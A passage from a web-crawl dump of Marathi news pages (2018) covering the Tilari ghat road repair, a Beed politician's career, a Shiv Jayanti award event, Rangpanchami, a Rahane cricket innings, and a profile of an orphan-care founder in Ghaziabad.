पण पायी जाणे देखील धोकादायक बनले होते. रस्ता पाटबंधारे विभागाच्या मालकीचा असून देखील हा विभाग रस्ता दुरुस्तीसाठी निधी खर्च करत नव्हता. तर बांधकाम विभाग हा घाटमार्ग आपल्या ताब्यात नसल्याने दुरुस्तीचे काम हाती घेत नव्हता. मध्यंतरी पाटबंधारे विभागाने हा 7 कि.मी. चा घाट बांधकामकडे वर्ग करण्याचा प्रयत्न केला. पण दुरुस्तीसाठी कोटयावधी रूपयांची गरज असल्याने त्यांनी ताब्यात घेण्यास नकार दिलेला होता. बांधकामकडे वर्ग करण्याचा प्रयत्न केला. पण दुरुस्तीसाठी कोटयावधी रूपयांची गरज असल्याने त्यांनी ताब्यात घेण्यास नकार दिलेला होता.\nपालकमंत्री दीपक केसरकर यांनी सतत पाठपुरावा केल्यावर तिलारी घाटाबाबत मंत्रालयात बैठक झाली होती. या बैठकीत सार्वजनिक बांधकाम विभागाच्या अधिकार्‍यांनी पहिल्यांदाच निधीची तरतूद करा आणि त्यानंतर घाटरस्ता बांधकामाकडे वर्ग करा असे सांगितले होते. यानुसार तिलारी पाटबंधारे खाते व तिलारी जलविद्युत केंद्राने मिळून 3 कोटी 34 लाख रूपये निधी सा.बां. विभागाकडे देण्याचे मान्य केले. आणि ते वर्ग झाल्यावर घाटरस्ता कोल्हापूर सार्वजनिक बांधकाम विभागाकडे वर्ग झाला. त्यानंतर प्रत्यक्षात दिवाळीनंतर घाटाच्या डांबरीकरणाच्या कामाला प्रारंभ करण्यात आला होता. जवळपास 3 महिने घाटदुरूस्ती हा घाटमार्ग बंद होता. प्राप्त निधीतून तिलारी घाटाचे डब्लूबीएम, बीबीएम, कार्पेट व सिलकोट या टप्प्यानुसार खडीकरण व डांबरीकरण घाटाचे करण्यात आले. 7 कि.मी.च्या घाटातील काही अंतराचा रस्ता जुना सुस्थितीत होता.\nहा भाग वगळून उर्वरित घाटाच्या रस्त्याचे नवीन डांबरीकरण करण्यात आले. शनिवारी तिलारी घाटाच्या पायथ्यापासून वरपर्यंत पाहणी केली असता रस्त्याचे काम पूर्ण आहे. तसेच बांधकाम विभागाने डांबरीकरणाचे काम दर्जेदार केल्याचे निदर्शनास येते. यामुळे हा घाटमार्ग सोमवार 5 फेबु्रवारी पासून वाहतुकीस खुला होणार आहे. तिलारी घाट 7 कि.मी.चा असून हा मार्ग सुस्थितीत झाला खरा पण नागमोडी वळणावर व तीव्र उतारावर रस्त्यालगत असलेले संरक्षक कठडे कोसळलेल्या स्थितीत जैसे त्या स्थितीतच आहे. अशा कठडयांना दुरुस्त व मजबूत करणे गरजेचे आहे. पण तसे झाले नाही. रस्त्याचे काम दर्जेदार झाल्याने घाटातून खाली येणारी वाहने जलद वेगाने खाली उतरतील. यावेळी वाहनचालकांनी वेगावर नियंत्रण ठेवणे महत्त्वाचे आहे. नाहीतर गंभीर घटना निकामी संरक्षक कठडयाअभावी व्हायला वेळ लागणार नाही.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00177.warc.wet.gz", "language": "mr", "language_score": 1.0, "bucket": "all"} {"url": "http://www.pudhari.news/news/Marathwada/Ramesh-Aadaskar-MLA-issue/", "date_download": "2018-09-25T16:58:29Z", "digest": "sha1:RMEF4DQJG7W2RW64OZSSRBRD5LFT5WQR", "length": 10296, "nlines": 39, "source_domain": "www.pudhari.news", "title": " आडसकरांना आमदारकीची हुलकावणी | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Marathwada › आडसकरांना आमदारकीची हुलकावणी\nराष्ट्रवादीला रामराम ठोकून भाजपमध्ये प्रवेश केलेल्या रमेश आडसकर यांनी कधीच आपली राजकीय इच्छा बोलून दाखवली नाही, मात्र एकदा आमदार व्हायचे असा निश्चय केलेल्या आडसकर यांनी आमदारकीसाठी त्यांनी सतत प्रयत्न केले. राजयोगाच्या खोड्याने आडसकराना आमदारकीने सतत हुलकावणी दिल्याने नाराज आडसकर यांचे पालकमंत्री पुनर्वसन कसे करणार या चर्चेने परिसर ढवळून निघाला तरी माजलगाव विधानसभेचा शेवटचा पर्याय खुला आहे\nहाबाडा फेम ज्येष्ठ नेते स्व. बाबूरावजी आडसकर विधान परिषदेचे आमदार तसेच अंबा कारखान्याचे चेअरमन होते. त्यांच्या राजकीय कालखंडात आमदारकी मिळावी म्हणून सतत आग्रही असायचे मध्यंतरी आडसकर घराण्याचे राजकारणात बुरे दिन असताना जिल्हा परिषदेच्या माध्यमातून आडसकर यांनी जिल्हा परिषदेच्या सत्तेवर ताबा मिळविला. अंबा कारखाना ताब्यात घेतला राज्यात सत्ता काँग्रेस-राष्ट्रवादीची असल्याने अजित पवार यांनी बीड जिल्ह्यातील मराठा नेतृत्वाला ताकद देण्यासाठी आडसकरांना राष्ट्रवादीमध्ये प्रवेश करायला लावला त्यावेळी भंगारमध्ये गेलेला\nबीड जिल्ह्या संदर्भात अजित पवार हा राजकीय निर्णय घेताना आडसकर यांची सल्लामसलत केल्याशिवाय निर्णय घेत नव्हते. त्यामुळे राष्ट्रवादीमध्ये आडसकर जिल्ह्याचे नेते झाले. पवारांच्या आदेशामुळे स्व. गोपीनाथ मुंडे च्या विरुद्ध त्यांनी बीड लोकसभा निवडणूक लढवली. चार लाखांपेक्षा जास्त मते मिळाली होती, मात्र आडसकर यांची पहिल्यापासून एकच इच्छा होती ती म्हणजे एकदा आमदार व्हायचे. राष्ट्रवादीत असतानाही अनेक वेळा आमदारकीसाठी प्रयत्न केला यश आले नाही. आडसकर राजकारणात एवढे धूर्त आहेत की आगामी काळात सत्ता कोणत्या पक्षाची येणार आहे त्याच पक्षात ते प्रवेश करतात.\nगेल्या विधानसभा निवडणुकी अगोदर भाजपमध्ये प्रवेश झाला त्यावेळी त्यांना पत्रकारांनी प्रवेश करण्या मागचा उद्देश विचारला असता आपला कुठलाही उद्देश किंवा स्वार्थ नसून ताईचे नेतृत्वाखाली जे काम मिळेल ते घ्यायचे, यासाठी आपण प्रवेश केला असल्याचे त्यांनी सांगितले, मात्र काही दिवसांत विधानसभेच्या निवडणुका लागल्या माजलगाव मतदार संघात 70 टक्के धारूरचा भाग असल्याने आडसकर यांनी उमेदवारी मिळण्यासाठी प्रयत्न केले तेही प्रयत्न यशस्वी न झाल्यामुळे पुन्हा अंबा कारखान्याची वाट धरली. जिल्हा परिषदेच्या राजकारणात स्थिर होण्यासाठी ते स्वतः व ऋषीकेश आडसकर दोघेही काका पुतणे वेगवेगळ्या जिल्हा सर्कल मध्ये उमेदवार म्हणून उभे राहिले भाजपच्या वरिष्ठ नेत्यांनी आडस कराची राजकारणात पकड मजबूत होऊ नये यासाठी हातभार लावला अपेक्षेप्रमाणे आडसकर काका-पुतण्याचा पराभव झाला.\nकार्यकर्ते झाले पुन्हा नाराज\nजिल्हा परिषद निवडणुकीत ते स्वतः पराभूत झाले तरी त्यांच्या कोट्यातून त्यांचे व्याही काँग्रेसचे राजेसाहेब देशमुख यांना शिक्षण सभापती बनवले जिल्हा परिषदेची सत्ता पालकमंत्र्यांच्या ताब्यात आणून देण्यात आडसकर यांच्या सिंहाचा वाटा आहे. त्याचे बक्षीस म्हणून विधान परिषदेत राज्यपाल कोट्यातील जागेवर आमदारकीसाठी आडसकर यांचे नाव पालकमंत्री पाठपुरावा करून मिळवून देतील अशी अपेक्षा होती. भाजपच्या वाट्याला आलेल्या पाच जागेवर उमेदवार जाहीर केले त्यात रमेश आडसकर यांचे नाव नसल्याने समर्थकांत नाराजी पसरली आहे. त्यामुळे आता आडसकराची महामंडळावर वर्णी लावणे अथवा माजलगावचे आमदार प्रकृती अस्वास्थ्यामुळे मतदारसंघात लक्ष देऊ शकत नाहीत. आडसकर यांनी माजलगावसाठी यापूर्वीही तयारी केली होती पुन्हा एकदा माजलगाव विधानसभेसाठी रमेशराव आडसकर यांना संधी मिळू शकते अशी चर्चा आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00177.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Pune/Dustbin-distribution-and-Maratha-Bhushan-Gaurav-Award-distribution-at-Walhekarwadi-on-Shiv-Jayanti/", "date_download": "2018-09-25T17:50:00Z", "digest": "sha1:JFVBGTYZY32JUXJHVHYGZUDGUIWF4NJY", "length": 6460, "nlines": 36, "source_domain": "www.pudhari.news", "title": " शिवराय समाजकेंद्रित होते म्हणून स्वराज्य झाले | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Pune › शिवराय समाजकेंद्रित होते म्हणून स्वराज्य झाले\nशिवराय समाजकेंद्रित होते म्हणून स्वराज्य झाले\nशिवरायांनी निर्माण केलेले राज्य हे व्यक्तिकेंद्रित नव्हते, तर समाजकेंद्रित असल्याने ते स्वराज्य झाले. यामुळे स्वराज्य तब्बल दीडशे वर्षे टिकले. सध्या व्यक्तिकेंद्रित राज्य असल्याचे दिसून येते, असे उद‍्गार माजी ग्रामविकासमंत्री जयंत पाटील यांनी काढले.\nअखिल मराठा विकास संघ आणि संस्कार सोशल फाउंडेशन यांच्या संयुक्त विद्यमाने शिवजयंतीनिमित्त वाल्हेकरवाडी येथे डस्टबिन वाटप आणि मराठा भूषण गौरव पुरस्कार वितरण करण्यात आले, त्या वेळी ते बोलत होते. या वेळी इतिहासकार श्रीमंत कोकाटे, माजी आमदार विलास लांडे, ज्येष्ठ समाजसेवक हणमंत देशमुख, नगरसेवक संजय वाबळे, संस्कार फाउंडेशनचे अध्यक्ष बाळकृष्ण खंडागळे आदी उपस्थित होते. यावेळी बालशाहीर शुभम भूतकरने पोवाडा सादर केला. यानंतर संस्कार सोशल फाउंडेशनच्या वतीने शंभर सोसायट्यांना कचरा पेट्यांचे (डस्टबिन) व एक लाख गरीब मुलींना सॅनिटरी नॅपकीनचे वाटप करण्यात आले; तसेच विविध क्षेत्रात उल्लेखनीय कार्य करणार्‍या व्यक्तींना मराठा भूषण गौरव पुरस्कार देऊन गौरविण्यात आले.\nजयंत पाटील म्हणाले, महाराजांनी 34 वर्षे सर्वोत्तम जाती-धर्माचे राज्य घडविण्यात खर्च केले. महाराज राज्यात कित्येक महिने नव्हते, तरीपण राज्यात अराजकता माजली नाही; कारण हे सर्व जाती-धर्माचे, शेतकरी, व्यापारी या सर्वांचे राज्य होते. सर्व प्रजेला आपले राज्य वाटत होते. राजे सर्व जातींच्या लोकांना प्रिय होते. हा त्यांचा महिमा होता. ते युगपुरुष होते.\nश्रीमंत कोकाटे म्हणाले, शिवाजी महाराज हे जगासाठी एक प्रेरणास्रोत होते. ते केवळ लढाया करीत नव्हते, तर उत्तम प्रशासक, मॅनेजमेंट गुरू होते. शेतकर्‍यांना दु:खी केले नसल्याने त्या काळात शेतकर्‍यांनी आत्महत्त्या केली नाही. सुरेश गारगोटे सूत्रसंचालन केले, तर बाळकृष्ण खंडागळे यांनी आभार मानले.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00177.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Satara/rangpanchami-2018-celebrated-in-satara/", "date_download": "2018-09-25T17:52:02Z", "digest": "sha1:6CGRCPYFRCWHCT66ZPPFEJJRXDIE2K24", "length": 6071, "nlines": 37, "source_domain": "www.pudhari.news", "title": " भिजू दे रंग अन् अंग स्वच्छंद..! | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Satara › भिजू दे रंग अन् अंग स्वच्छंद..\nभिजू दे रंग अन् अंग स्वच्छंद..\nसातारा : सुनील क्षीरसागर\nरंगपंचमी म्हणजे विविध रंगांची उधळण करण्याचा उत्सव. या उत्सवामध्ये मोठमोठ्या शहरामध्ये युवक-युवती तसेच बालगोपाळ विविध रंगात रंगतात. प्रेम व त्यागाची तसेच समर्पणाची भावना दर्शवणारा हा उत्सव असून देशाच्या विविध भागात तो मोठ्या उत्साहात खेळला जातो. महाराष्ट्र, मध्यप्रदेश आणि उत्तर भारतात काही भागात हा उत्सव अधिक लोकप्रिय आहे.\nहोळी सणामागोमाग येणारा अणि सर्वांना हवाहवासा वाटणारा दुसरा सण म्हणजेच रंगपंचमी होय. रंगपंचमी हा सण येतो फाल्गुन कृष्णपंचमीला. या दिवशी सर्व लोक रंग खेळतात. एकमेकांच्या अंगावर रंग टाकतात. रंगपंचमीदिवशी विविध रंगांची उधळण होते.\nरंग... खरंच प्रत्येक रंगाला एक अर्थ असतो. प्रत्येक रंगाची एक शिकवण असते. पांढरा रंग शांततेचा, लाल रंग त्यागाचा, हिरवा रंग समृद्धी दर्शवतो. रंगांमुळेच आपले जीवनसुद्धा आनंदी बनते. रंगाची दुनिया जीवनाच्या जगण्याला एक नवा अर्थ देते. म्हणूनच रंगपंचमीच्या या आगळ्या उत्सवात सामील होवून जीवनाचा नवा आनंद लुटण्यासाठी सज्ज होवूया तर... रंग उधळू चला... \nआज सर्व काही रेडिमेड बाजारात विकत मिळते. प्लास्टिकच्या पिचकार्‍या बाळगोपाळांसाठी विकत घेतल्या जातात. त्यातून उडणार्‍या पिचकार्‍यांनी बाळगोपाळ आनंदित होतात. पूर्वी लाकडी पिचकर्‍यांचाही एक डौल होता. कळकापासून बनवलेल्या या पिचकार्‍यातून उडणार्‍या पाण्याला प्रचंड दाब देता येत असे. त्यामुळे युवकांमध्येही या लाकड्या पिचकार्‍या लोकप्रिय होत्या. नदीमध्ये अथवा विहिरीमध्ये पोहताना युवक पोहता पोहता या लाकडी पिचकार्‍यांनी एकमेकांच्या अंगावर पाण्याचे फवारे उडवायचे. या पिचकार्‍या आता कालबाह्य झाल्या आहेत.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00177.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://mahasports.co.in/more-than-rahane-its-captain-kohli-enjoys-this-innings-from-number-four-because-it-was-biggest-worry-for-indian-odi-team/", "date_download": "2018-09-25T17:03:11Z", "digest": "sha1:Y5C3UBGGWSCADCKLOIYUKZBXFH4ZODZK", "length": 10507, "nlines": 64, "source_domain": "mahasports.co.in", "title": "अजिंक्य रहाणेची खेळी विराटच्या शतकी खेळीपेक्षा सरस? -", "raw_content": "\nअजिंक्य रहाणेची खेळी विराटच्या शतकी खेळीपेक्षा सरस\nअजिंक्य रहाणेची खेळी विराटच्या शतकी खेळीपेक्षा सरस\n भारत विरुद्ध दक्षिण आफ्रिका पहिल्या वनडे सामन्यात भारताने ६ विकेट्सने दक्षिण आफ्रिकेवर विजय मिळवला. यात भारताचा कर्णधार विराट कोहली आणि कसोटी उपकर्णधार अजिंक्य रहाणे यांनी अफलातून खेळी केल्या. आफ्रिकेकडूनही फाफ डुप्लेसीने शतकी खेळी केली.\nतरीही अजिंक्य रहाणेची खेळी ही अनेक अर्थांनी लक्षात राहणारी ठरली. अजिंक्य रहाणेने काल ८६ चेंडूत ७९ धावा करताना २ षटकार आणि ५ चौकार खेचले.\nचांगली कामगिरी करूनही सतत कसोटी आणि वनडे संघाचा नियमित सदस्य नसलेल्या रहाणेने आपणच चौथ्या क्रमांकाचे प्रबळ दावेदार आहोत हे काल पुन्हा एकदा दाखवून दिले. वनडेत चौथ्या क्रमांकावर येत गेल्या चार डावात त्याने ८७, ८९, ५० आणि ७९ धावांच्या खेळी केल्या आहेत तर गेल्या ५ डावात त्याने (५५, ७०, ५३, ६१ आणि ७९) अर्धशतकी खेळी केल्या आहेत. मास्टर ब्लास्टर सचिन तेंडुलकर आणि कर्णधार विराट कोहलीनंतर अशी कामगिरी करताना तो केवळ तिसरा भारतीय आहे.\nगेल्या ६ वनडे मालिकेत सतत संधी मिळेल तेव्हा चांगली कामगिरी करूनही त्याला संघात स्थान देण्यात आले नाही. विंडीज मालिकेत त्याला संघात स्थान देण्यात आल्यावर पुन्हा श्रीलंका संघाविरुद्ध खेळवण्यात आले नाही. त्यानंतर पुन्हा ऑस्ट्रेलियाविरुद्ध खेळलेल्या रहाणेला न्यूझीलँड आणि श्रीलंका विरुद्ध संघात स्थान देण्यात आले नाही. विशेष म्हणजे रहाणेने ऑस्ट्रेलिया विरुद्ध सलग ४ अर्धशतकी खेळी केल्या होत्या.\nभारतीय संघाला चौथ्या क्रमांकावरील खेळाडूची वनडेत नितांत गरज असतानाही आणि रहाणे चांगली कामगिरी करत असतानाही त्याला संघाच्या बाहेर ठेवले जाते. आजच्या खेळीने त्याने या मालिकेपुरता तरी हा प्रश्न निकाली काढला आहे.\nविशेष म्हणजे ही खेळी करताना कर्णधार विराट कोहली हा मैदानावर होता आणि तो त्याच्या ह्या जबरदस्त खेळीचा दुसऱ्या बाजूने आनंद घेत होता. रहाणेच्या एका फटक्याला तर कोहलीने खास दाद दिली. मिड ऑनकडे षटकार खेचणाऱ्या रहाणेने दुसऱ्याच चेंडूवर बाउन्सरला यष्टिरक्षकाच्या डोक्यावरून सीमारेषेपार धाडला, हा क्षण क्रिकेटप्रेमी विसरणे अवघडंच.\nआजपर्यंत याच डर्बनच्या मैदानावर भारतीय संघ कधीही विजयी झाला नाही. पराभूत झालेल्या गेल्या ३ सामन्यात भारतीय संघाने कमीतकमी १३० धावांनी हार पत्करली आहे. हे करताना त्यांना २७० ते २८० धावांचेही आव्हान पेलले नाही. म्हणजे भारताने त्या तीन सामन्यात जेमेतेम १५० धावांचा टप्पा पार केला आहे.\nआजही लक्ष काहीसे तसेच होते. आणि कर्णधार चांगला खेळत असताना त्याला साथ देणाऱ्या एका चांगल्या खेळाडूची गरज होती आणि ती गरज काल रहाणेने जबाबदारी घेऊन पूर्ण केली. तो बाद झाला तेव्हा संघाला ४४ चेंडूत १७ धावांची गरज होती. याचकारणामुळे रहाणेची खेळी अनेक अर्थांनी खास ठरली.\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला तर….\nएशिया कप २०१८: टीम इंडियासाठी या कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\nकर्णधारपद रोहित शर्मासाठी ठरतयं फलदायी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00177.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://marathi.yourstory.com/read/8029e22644/natha-namo-favor-of-orphans-poor-childrens-39-masiham-human-39-", "date_download": "2018-09-25T17:56:26Z", "digest": "sha1:3RRM7XHOTZCTLFZSSSDHP6DES7WEO3T5", "length": 18528, "nlines": 113, "source_domain": "marathi.yourstory.com", "title": "अनाथांच्या नाथा तुज नमो! गरिब मुलांचा ‘मसिहाँ मानव’", "raw_content": "\nअनाथांच्या नाथा तुज नमो गरिब मुलांचा ‘मसिहाँ मानव’\n‘‘मै तो अकेला ही चला था जानिब-ए-मंज़िल मगर, लोग आते गये और कारवाँ बनता गया\nविख्यात उर्दू कवी मजरुह सुलतानपुरी यांच्या या ओळी. तरुण गुप्ता यांच्या जीवनकथेला तंतोतंत लागू पडतात. देशाच्या राजधानीला लागून असलेल्या गाझियाबादमध्ये ते अनाथ आणि निराधार मुलांसाठी आधार केंद्र चालवतात. २००६ मध्ये सेवेची ही साखळी सुरू झाली. मुलाला वाढदिवसानिमित्त ज्या काही भेटवस्तू मिळाल्या, त्या सर्व गरिब मुलांमध्ये वाटप करण्याचा उपक्रम या वर्षात राबवला. दरवर्षीच ते हा उपक्रम घेऊ लागले. उपक्रमाने पुढे मोहिमेचे रूप धारण केले. लोक आपला सहभाग नोंदवू लागले. सहभाग वाढत गेला आणि ‘कारवाँ’ बनत गेला… अनाथ आणि निराधार मुलांसाठी ‘प्रेरणा सेवा संस्थान’ हे आधार केंद्र आणि झोपडपट्टीतील मुलांसाठी ‘डे केअर सेंटर’मध्ये या ‘कारव्या’ची परिणती झाली.\nवेळ पुढे सरकत गेला आणि सेवाकार्य वाढत गेले त्या ओघात तरुण गुप्ता कधी ‘आचार्य तरुण मानव’ म्हणून ओळखले जाऊ लागले, त्याचा स्वत: त्यांनाही पत्ता लागला नाही. हरवलेल्या मुलांचा शोध घेण्यासाठी म्हणून गाझियाबाद पोलिसांनी चालवलेल्या ‘ऑपरेशन स्माइल’ या मोहिमेत तरुण गुप्ता यांचा व त्यांच्या संस्थांचा सक्रिय सहभाग होता. पोलिसांची मोहीम फत्ते होण्यात या सहभागाची मोलाची भूमिका होती. तरुण यांनी ‘सेल्स आणि मार्केटिंग’ या विषयात पदव्युत्तर पदवी प्राप्त केलीय. पुढे ‘मॅन पॉवर कन्सल्टन्सी’ चालवली. कन्सल्टन्सीच्या माध्यमातून कितीतरी बड्या कंपन्यांना ते कर्मचारी पुरवत. यादरम्यान त्यांना पुत्ररत्न झाले. मुलाच्या आगमनाने तरुण यांच्या जीवनाला कलाटणीच मिळाली. मुलाच्या वाढदिवसाला गरजू मुलांसाठी उपक्रम राबवत असतानाच मुलांसाठीच्या सेवाकार्याच्या वर्तुळाचा व्यास वाढवत नेण्याचे त्यांनी ठरवले होते. पुढे अशा मुलांच्या सेवेतच त्यांनी जीवनम् समर्पयामी केले.\nसुरवातीच्या काळाबद्दल बोलताना तरुण सांगतात, ‘‘मुलाचा जन्म झाला तसे आमच्या घरात खुळखुळ्यापासून ते झबल्यांपर्यंत ढिग लागलेला होता. मी या वस्तू माझ्या कार्यालयाजवळील झोपडपट्टीत वाटायला सुरवात केली. थोड्या दिवसांनी माझ्या वर्तुळातल्या लोकांनीही घरातले जुने कपडे, विनावापराचे सामान असे या मुलांना द्यायला सुरवात केली.’’\nझोपडपट्टीतील मुलांसमवेत तरुण यांचा सहवास वाढत गेला तशी त्या मुलांबद्दलची सहवेदनाही वाढत गेली. झोपडपट्टीतील मुलांची दयनीय अवस्था पाहून, अगदी साध्या-साध्या गोष्टींसाठी या मुलांना तरसताना पाहून तरुण करुणरसात नखशिखांत बुडाले. मुलांसाठी काम करणाऱ्या ‘बचपन बचाओ’ संस्थेशी त्यांनी संपर्क केला. नोबेल विजेते कैलाश सत्यार्थी यांची ही संस्था. संस्थेचे उपांग असलेल्या ‘चाइल्ड राइट ॲअॅडव्होकसी’साठी (बाल्याधिकार समर्थन) तरुण यांनी स्वयंसेवक म्हणून कार्याला सुरवात केली.\nतरुण सांगतात, ‘‘त्यावेळी ‘बचपन बचाओ’ चळवळीत सहभागी होऊन गरिब आणि अनाथ मुलांसाठीच्या सरकारी योजना मी समजून घेतल्या. किंबहुना त्यावरच लक्ष केंद्रित केले. आम्ही विविध सरकारी विभागांच्या माध्यमातून राबवल्या जाणाऱ्या योजनांची माहिती घेतली. योजना गरजूंपर्यंत पोहोचतच नाही, ही धक्कादायक बाब लक्षात आली. आम्ही सातत्याने संबंधित शासकीय विभागांशी तसेच संबंधित मंत्रालयांशी संपर्क साधू लागलो. बाल हक्कांच्या उल्लंघनाची प्रकरणे एनसीपीसीआर आणि एनएचआरसीच्या समोर मांडू लागलो. बाल हक्कांसाठी भांडू लागलो.’’\nबालहक्कांचा हा लढा काही दिवस सुरू ठेवल्यानंतर लक्षात आले, की देशभरातून मोठ्या संख्येने बेपत्ता होणाऱ्या मुलांची माहिती संकलित करणारी तसेच ती उपलब्ध करून देणारी कुठलीही यंत्रणा अस्तित्वात नाहीये.\nतरुण सांगतात, ‘‘आमच्या देशात दरवर्षी हजारो मुले बेपत्ता होतात. आम्ही लक्ष घातले नव्हते तोवर बेपत्ता मुलांचा कुठलाही मध्यवर्ती डाटा उपलब्ध नव्हता. हे लक्षात घेऊन मी ‘मिसिंग चिल्ड्रेन ऑफ गाझियाबाद’चे प्रकाशन सुरू केले. वर्षनिहाय जिल्ह्यातून बेपत्ता झालेल्या मुलांचा हा डाटा त्यात उपलब्ध असे. २०१२ मध्येही प्रकाशन केले आणि त्यासह अनाथ मुलांना आधार देण्यासाठी ‘ज्वुवेनाइल जस्टीस ॲअॅक्ट’अंतर्गत एका बाल आश्रमाची नोंदणी केली. गाझियाबादमधले हे पहिले आधार केंद्र होते.’’\nशिवाय भीक मागणाऱ्या आणि रस्तोरस्ती कचरा गोळा करणाऱ्या मुलांच्या शिक्षणाची सोय व्हावी म्हणून ‘डे केअर सेंटर’ सुरू केले. विवेकानंद नगर भागात हे केंद्र सुरू आहे. केंद्रात सध्या ४५ नोंदणीकृत मुले आहेत. अभ्यासाव्यतिरिक्त मुलांच्या प्राथमिक उपचाराकडेही लक्ष पुरवले जाते. ऋतुनिहाय कपडेवाटप, दातांची निगा, नेत्र-तपासणी असे उपक्रमही या मुलांसाठी घेतले जातात.\nगाझियाबादेतील कवीनगर परिसरात एका भाड्याच्या घरात सध्या ‘प्रेरणा परिवार बाल आश्रम’ सुरू आहे. अनाथ आणि निराधार मिळून २६ मुले या आश्रमात राहात आणि शिकत आहेत.\nतरुण म्हणतात, ‘‘सुरवातीला समस्या आल्या. आश्रम सुरू करण्यासाठी जागा आणि निधी ही तर 